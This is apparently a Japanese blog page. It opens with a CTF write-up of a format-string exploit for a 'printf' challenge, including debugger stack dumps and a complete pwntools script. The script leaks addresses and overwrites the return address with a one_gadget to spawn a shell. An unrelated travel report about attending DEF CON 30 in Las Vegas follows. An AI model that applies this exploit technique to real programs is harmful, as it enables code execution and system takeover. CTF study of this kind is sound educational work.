pwndbg> tel 0x7fffffffdf68 30 00:0000│ 0x7fffffffdf68 —▸ 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— ... 01:0008│ 0x7fffffffdf70 —▸ 0x7fffffffe0d8 —▸ 0x7fffffffe3ee ◂— '/home/ubuntu/ctf/maplectf/printf/chal' 02:0010│ 0x7fffffffdf78 —▸ 0x55555555520a (main) ◂— endbr64 03:0018│ 0x7fffffffdf80 ◂— 0x0 04:0020│ rsp 0x7fffffffdf88 —▸ 0x5555555551dd (go+52) ◂— nop 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 06:0030│ 0x7fffffffdf98 —▸ 0x5555555551f2 (set+18) ◂— nop 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 08:0040│ 0x7fffffffdfa8 —▸ 0x555555555207 (ready+18) ◂— nop 09:0048│ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1 0a:0050│ 0x7fffffffdfb8 —▸ 0x55555555524e (main+68) ◂— mov eax, 0 0b:0058│ 0x7fffffffdfc0 ◂— 0x1 0c:0060│ 0x7fffffffdfc8 —▸ 0x7ffff7dabd90 (__libc_start_call_main+128) ◂— mov edi, eax
スタックはここら辺を操作できる。
ちなみに、
6番目 05:0028│ rbp 0x7fffffffdf90 —▸ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
8番目 07:0038│ 0x7fffffffdfa0 —▸ 0x7fffffffdfb0 —▸ 0x7fffffffdfc0 ◂— 0x1
である。
なお、書き込まれるバッファは、スタック内に無い。
こういう時、どうすれば、リターンアドレスを書き換えることができるか…
イメージ的は、
・6番目の値に対して%nをして8のポインタを書き換えて、0x7fffffffdf88に向ける。
・8番目の値に対して%nをして、リターンアドレスを書き換える
これをやれば、リターンアドレスが書き換えらえると思うだろうけど、この多段FSBにはちょっとやり方に工夫が必要。
これをやる方法が下記の書籍に紹介されてるので、今すぐ10冊買い、5等身以内の親族に教えてあげよう。
さて、多段fsbを行えば、無限ループさせることができる。
あとは自分のペースでone_gadgetを書けばいいだけ。
私は17番目の値と47番目の値を使って、リターンアドレスをone_gadgetに書き換えた。
0xebcf5 execve("/bin/sh", r10, rdx) constraints: address rbp-0x78 is writable [r10] == NULL || r10 == NULL [rdx] == NULL || rdx == NULL
このone_gadgetを使った。条件を満たすために、最後にnullを書き込んでいる。
ブルートフォース要素があるので、何発も繰り返すといつかshellが取れる。
from pwn import * import math import warnings warnings.simplefilter('ignore') elf=ELF("/home/ubuntu/ctf/maplectf/printf/chal") p=process("/home/ubuntu/ctf/maplectf/printf/chal" , aslr=True) #gdb.attach(p) p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p") tmp=p.recvline().split() print(tmp) stack_leak=int(tmp[3], 16) proc_base=int(tmp[4], 16)-0x1207 libc_base=int(tmp[8], 16)-0x29D90 log.info("stack_leak:"+hex(stack_leak)) log.info("proc_base:"+hex(proc_base)) log.info("libc_base:"+hex(libc_base)) # lower log.info("write lower bit of one_gadget start") stack=((stack_leak+0x10)%0x10000) -0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack)) # overwrite 0x7fffffffde58 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%47$p") # kore ga naito nazeka ugokanai one_gadget=libc_base+0xebcf5 lower=(one_gadget % 0x10000) - 0xe5 print(lower) log.info(hex(one_gadget)) p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(lower)) # middle p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+2)) middle=((one_gadget % 0x100000000)//0x10000) - 0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$hn".format(middle)) log.info("write middlebit of one_gadget end") # higher p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%17$hn".format(stack+4)) higher=(one_gadget // 0x100000000) - 0xe5 p.sendline("%c%c%c%c%68c%hhn%157c%8$hhn%{}c%47$n".format(higher)) log.info("write higherbit of one_gadget end") p.sendline(b"\x00"*0x100) p.sendline("ls") p.interactive()
FSBは嫌い。まじで。
問題の難易度はほど良くてよかった。
EBCSICは時間があるときに復習しよう。
DEFCON 30を現地Las Vegasで見てきました
DEFCON30を現地Las Vegasで見てきました。
DEFCONとは、毎年Las Vegasで開催されているHackerの祭典です。予選を勝ち抜いた世界中の最高のHackerが競い合うDEFCON CTFが特に有名ですが、日本のSECCONと同じく、Workshopとかもあります。
(が、まるで規模が違っていてDEFCONは圧倒的に大きいです)
分野別に「Village」と呼ばれる単位で部屋が分かれていて、その中で別途CTFや、ワークショップ、講演、コンテスト、物販等があります。今年で30回目だそうです。
今年2022年は8月11-14日で開催されました。開催地はLas Vegasで、会場は Caesars Forum, Flamingo, Linq, and Harrah'sの4か所でした。
DEF CON® 30 Hacking Conference Home
軽く自己紹介ですが、私自身は、IT業界で働いているわけでも、エンジニアとしての実務経験もありません。また、大学院の専攻も情報系ではなかったので、いわゆる素人です。CTF(のPWN)が好きで、それの延長線上で見に行きました。かなり前にSECCONの決勝に出たことがありますが、実務経験は一切ありませんので、偏った見方になっていると思いますが、どうぞご了承ください。
ちなみにDEFCONはモヒカンの人が多かったです。Hackerっていうとモヒカンとかカラフルヘアーのイメージがあるんでしょうね。時折、モヒカンの付け根が肌荒れをしている人がいて、少し気になりました。
あとは、リュックサックにディスプレイがついててゲームをできるようにしていたり、マスクがカラフルに光ってたり、色々なギミックを体に仕込んでる人がいました。一言でいうとHackerのお祭りです。
バッジ(初日)
私は、オンラインで注文できる、バッジ確約のチケットを取っていました。遠方から来てもバッジを貰えないと、非常に悲しいと思うので、バッジが確約されてるチケットはお勧めです。むしろバッジが私にとっては一番の戦利品です。かなり重要です。ポケモンの世界観です。
私はまず、Framingoの会場に行って、受付にチケットを提示したら「違うよ、バッジはCaesars Forumだよ」と教えてくれました。
ちなみにDEFCONの人たちは、色々な人と会話しましたが、みんな非常に親切でいい意味で驚きました。やる気なさそうな投げやりな感じは一切なかったです。
さて、Caesars Forumに到着し、下記のREGに入りました。小さく見えますよね?これ、結構でかいです。
チケットが既にあったのですが、それでも1時間くらい待って、受付でバッジをゲットしました。
並んでる最中、結構カオスで、風船とかビーチボールとかが飛び交っていました。
私の近くに落ちたかけたときに、若い男性がボールを蹴り、私にボールが軽くあたりました。それを見て、その若い男性と一緒にいる女性が「やめなよ~困ってんじゃんw」的な感じになってました。高校生時代を思い出してちょっと辛かったです。
さて、ゲットしたバッジがこちらです。
見ての通り、キーボードです。ちゃんと音も鳴ります。かわいいですね。
物販(初日)
バッジをゲットしましたが、初日は開いているVillageを見つけられませんでした。もう一つ、REGのほかに長蛇の列があったのが、物販です。「Merch」と書いてあります。
これは本当に長蛇の列で、私が並んだときは、上記の地図でMERCHから下、左に伸びて、なんとAEROSPACE VILLAGEのあたりまで伸びていました。
ここで並んで、2時間くらいで、ようやく物販にたどり着きました。
ちなみに、毎年同じなのか知りませんが、カードNGで現金しか受け付けていませんでした。
売っていたものは、覚えている限りで、Tシャツ・赤ちゃん用の服・帽子・バッジ・マグカップ等があったと思います。
現金が90ドル程度しかなかったので、あまり買いませんでした。
夏コミケで培った忍耐力を発揮してDEFCONのチケット列、物販列に並んでいるんだが、もう私は限界かもしれない
— ec (@ec76237290) August 11, 2022
特に物販列がすごい。みんな何目当てなんだ。私みたいに、みんな並んでるからとりあえず並んでる無能はいるのだろうか
私は無能なので、みんなが並んでるから並んでみましたが、PCとか持っていたので、重くて腰がダメになりました。
ちなみに、このみんなが並んでるから~は絶対やめた方がいいです。街中で店にたくさん人が並んでいたので、私も並んでみたら、タトゥーの店だったことがあります。
基本的に1日目は、そこまでやることがなかったです。
Village(2日目以降)
いくつものホテルにまたがった会場の各部屋に、下のような標識が出ています。
これがVillageです。
私はまず、IoT Villageを見に行きました。
Villageの中では、いくつか色々な催しがやられていますが、「CTF」「Workshop」「講演」が、よくやられているイメージです。
上記のIoT Villageでは、IoTのCTFやワークショップ(何やらデバイスをハックするワークショップ)、Voting Machineを使ったイベントが開催されていました。
こういうCTF、ワークショップにぐいぐい参加していくことが楽しむカギだと思います。こういうのに参加したり、あるいは数名でCTFに出ないと、見るだけになってしまう感じはあります。
それに、結構混んでたり並ぶものも多いので、一人だと寂しいというか退屈かもしれないです。
いくつかVillageを見てまわりました。
Cloud VillageやAPP Sec Village、Red Team Villageは非常に混んでいて中に入るのをあきらめてしまいました。
ICS Village…産業用システムなのでしょうか?船に関するCTFをやってるように見えました。これも、会場の人に色々聞いて参加するべきだと今になっては思います。
印象的だったのは、Car Hacking VillageやLock Picking Villageです。
車をHackするイベントや、鍵開けのワークショップが開催されていました。こんな鍵開けなんて、日本では絶対にできないですね。さすがアメリカ…
基本的にみんな丁寧に教えてくれるので、ちゃんと周りの人とコミュニケーションをとりましょう。それだけで何倍も楽しくなるはずです。これが私の反省点です。
※そのためにも最低限の英語力は身につけましょう
あと、Packet Hacking Villageは特に面白そうで、Capture the packetというCTF?的な奴や、DEFCONのOPEN WIFIを使ったアクセスがさらされたりしてました。(下のWall of SHEEPってやつです)Packet解析のワークショップもやっていた記憶があります。
Villageではないのですが、ほかにも「Vendors」と「CONTESTS」と「TRACK」がありました。
Vendorsは、色々な業者がものを売りに来ています。たとえば、wifi pineappleとか売ってたみたいです。でかいパイナップルの置物があってかわいかったです。あとは書籍で有名なno starch pressもあって、著者によるサイン会とかやっていました。
CONTESTSでは、色々なコンテストが開かれていました。アルミホイルで帽子を作るコンテストとかやっていました。コンテスト系も薄暗い部屋の中で、色々な出し物がありました。なんか、Hackerの学園祭みたいな、そんな感じですよね。面白い。
TRACKはその名の通り、サイバーセキュリティに関する講演会をしています。面白そうなやつばかりですが、ちゃんと計画を立ててその時間に行かないと当然見れないです。
私はそういうのが苦手なので見れませんでした。
とりあえず、見てるだけでも楽しいのですが、色々CTFやワークショップに積極的に参加することで世界が広がると思います。
DEFCON以外
DEFCONを見に行ったのがメインでしたが、ほかにもいろいろ遊びに行きました。
シルクドソレイユの「オー」:かなり有名なショーです。私がチケットを買ったときは、結構いい席で200ドルしました。人気具合で金額が変わるらしいです。
Battle Field Las Vegas:CTF Radioで鉄砲の話していたので「Battle Field Las Vegas」に行きました。生まれて初めて銃を撃ちました。リリカル・トカレフ・キルゼムオールという呪文が頭をよぎり、トカレフを撃ちたいといったのですが、No Ammoといわれました。残念。ところで本職の人は銃弾の事、Ammoって言うんだ。ゴムゴムのブレットってネイティブは言わないのかなって残念に思いました。マシンガンを撃ってたら薬莢からおしっこみたいな匂いがしました。私の鼻がおかしいんですかね?
CTF Radio #0: DEF CON CTF Finals 直前企画 - YouTube
ポーカールーム:スロットをちょっとやってみたんですけど、秒速で10ドルがなくなり、走馬灯が見えました。なので空いた時間でポーカーやってました。長く遊べたし面白かったので経験できてよかったです。結局、DEFCONいた時間より長かったかもしれないです。でも対人戦なので、ルールがわからないとかだと、お勧めできないです。
ポーカールーム入ったはいいけど、ルール上、やめ方がわからなくて永遠にプレイする傀儡となっている
— ec (@ec76237290) August 12, 2022
Bellagioの噴水:絶対見に行った方がいです。何パターンかあるので、何個か見てください。結構、個人的には当たり外れがあったと思います。何メートルも水柱がバンバンあがるド派手なやつもあれば、チョロ…みたいな感じのもあります。チョロ…は言い過ぎかもしれないです。横じゃなくて真正面から見てください。迫力が違います。
フレモントストリートエクスペリエンス:名前を聞いたことがあるのでUBERでいきました。UBERの運転手は「古きラスベガス」と言っていました。それはその通りでしたが、昼に行ったのもありますが、特筆してみるものはありませんでしたので、10分くらいですぐ帰りました。移動時間のほうが長かったです。あと、その辺りはちょっと寂れてる感じがあって、治安的な意味で少し歩きたくなかったです。
良かった点
- 知見が広がったこと
物販で「こんなのあるんだ」とか、「Car hacking、面白そう!」とか、本当に世界が広がったと思います。見に行くだけで、あれもやりたい、これもやりたい、色々知的に好奇心が湧いてくるはずです。歳を取ると段々、バイタリティが減ってきてこのような気持ちになる機会は減ってくるので、非常に素晴らしい経験です。ただし、色々やりたくても、自分の腕は二本しかないので悲しいところですね。通信交換で進化して腕を生やすしかないです。
- UBERをいい感じに使えたこと
私は滞在中に6回UBERを使いました。(これでもかなり抑えた方です)基本的に空港でも街中でもUBERを呼べば5ー10分程度で来てくれたので時間が無駄にならず便利でした。
ちなみにUBERは混み具合によって料金が変わります。初日は空港ー>ホテル までチップ込みで$30以上かかりました。帰りは$20かかっていなかったです。まぁ帰りはMGMグランドから帰ったので、近かったのもあります。ご参考です。
- カジノで体力回復できたこと
DEFCONのチケットを買っていた中で勿体なかったですけど、ポーカールームで遊んでいました。荷物とか置けるし、涼しいし、飲み物も買えるしで隙間時間も潰せてよかったです。
- Las Vegas自体を楽しめたこと
DEFCONだけではなく、ショーやカジノ等など、色々楽しむことができました。Las Vegasは世界一のコンテンツ消費の街だと思いました。今までの人生で経験したことがないような鮮烈な経験ができて、本当に楽しかったです。
それに、気を付けていたので特段危険な目にも合わなかったので良かったです。
失敗した点
もっと上手に回ればよかったと思います。何点かあります。
- ホテルはちゃんと考えて選ぼう。
私がとったホテルですが、中心地であるSTRIPから、歩いて15分くらいのところにしました。これは、DEFCON参加の場合は、原則やめた方がいいと思いました。DEFCON見に行くだけで、特に手ぶらで行くのであればコストを抑える意味ではアリかもしれません。
ただし、もし会場各地で実施されてるCTFとかに参加する等でPCを持って行くとか荷物が多いのであれば、絶対にホテルは会場に近い方がよいと思います。夏のLas Vegasは暑いです。日中は40度近くまで上がります。加えて、一つ一つのホテルが非常にでかい。地図上で見るとたいしたことなく見えますが、ホテル一つ一つが信じられないほどでかいので、かなり歩きますし、外を歩くタイミングも多いです。おっさんの体力にはかなりきつかったです。おっさんの脂汗と高熱で、から揚げになるかと思いました。
私は、荷物を置きに行くためにホテルに戻ったり、汗をかいてシャワーを浴びるたびに歩いてホテルまで戻ったりしました。これは時間だけではなくて、体力の無駄という意味で、絶対に避けるべきでした。地獄でした。
Las Vegasはショーとか、遊びの面でも夜が本気(街の景色もグッと変わる)です。となると、日中はDEFCON、夜はSTRIPを歩き続けることになります。死にました。
- 複数人で行けばよかった
長蛇の列に並びながら、トイレに行ったりするのはめんどいです(後ろの人に声かければいいですけど。)。複数人いた方がいいです。
CTFとかも複数人で出れますし、物販でキャッシュが足りない、とかいざというときに仲が良ければ笑助け合えます。
ホテルも、部屋でコストが決まってたりするので、複数人で行った方が割安です。ほかの人に話しかけたりするのも、友達といた方がスムーズでしょう。これは雑魚の発想ですか?
- DEFCON自体もちゃんと調べておこう。
行ってみるまで知りませんでしたが、DEFCONの1日目は、「チケット販売」と「物販」がメインだったと思います。少なくとも私がうろうろ歩いていた中で、Villageは開いていなかったと思います。
このような場合に、使いもしない重いPCを持って暑い中、私のようにアホ面ぶら下げてキョロキョロしながら、だらだら無駄に歩き回るのは本当に体力と時間の無駄なので、おとなしく他の事をやればよかったです。また、私はCTFをやる気だったのですが、「いや~マウス忘れちゃいまして、スライドパッドは操作しづらいですなw」みたいな状態になって結局、あまりプレイしませんでした。
その程度の心構えなら、マジでPC持っていかない方がよかったです。
- DEFCON以外も遊ぶのであれば計画をちゃんと立てよう
ショーの時間は決まっています、有名なシルクドソレイユの「オー」等いろいろ有名なショーがあるので、一応一通り調べて、もし見たければちゃんと予定を開けて、場所とか、ちゃんと調べていった方がいいです。当たり前ですね。
ホテルも大きいし豪華だし楽しいんですけど、中を遊びながら無計画に歩いてると、わけわからないところに出たりします。ここ、どこ?の繰り返しで時間と体力がもったいなかったです。
- 買うときに値段をちゃんと見よう
よく見たら水が5ドルしました。
カジノで金を下ろしたら、手数料で10ドル弱しました。
私は水と手数料で50ドルくらいやられてます。
- 当初の目的を見失わないようにしよう
私みたいに、DEFCONに入り浸ろうと思っていたのですが、今日はもう暑いし…荷物重いし…カジノで遊んでていいよね…もうゴール、してもいいよね…みたいなことにならないように、もしDEFCONを楽しみたいなら鋼の意思でDEFCONを楽しみましょう。
まとめ
結論、総合的にはLas Vegas全体含め、かなり楽しい経験ができました。本当に濃厚な数日間で、体感1, 2か月くらいの時間が流れたような感じです。
CTFのモチベーションもだいぶ上がりました。上がりましたけど、一人でやってても中々スキル上がらなくてそろそろ辛い。
多分来年も行きます。
来年は、もっとCTFとかワークショップに積極的に参加しようと思います。そのためにSTRIP近辺の、いいホテルに泊まります。そしてベストは複数人で行ければ行こうと思います。(でもCTFやってるリアル友人なんて、一人もいないので多分いけない)あと英語勉強します。
俺が英語だと信じて喋ってる言語、現地の人に伝わらなすぎだろ
— ec (@ec76237290) August 13, 2022
来年はBlack Hatも見に行きたいなあ。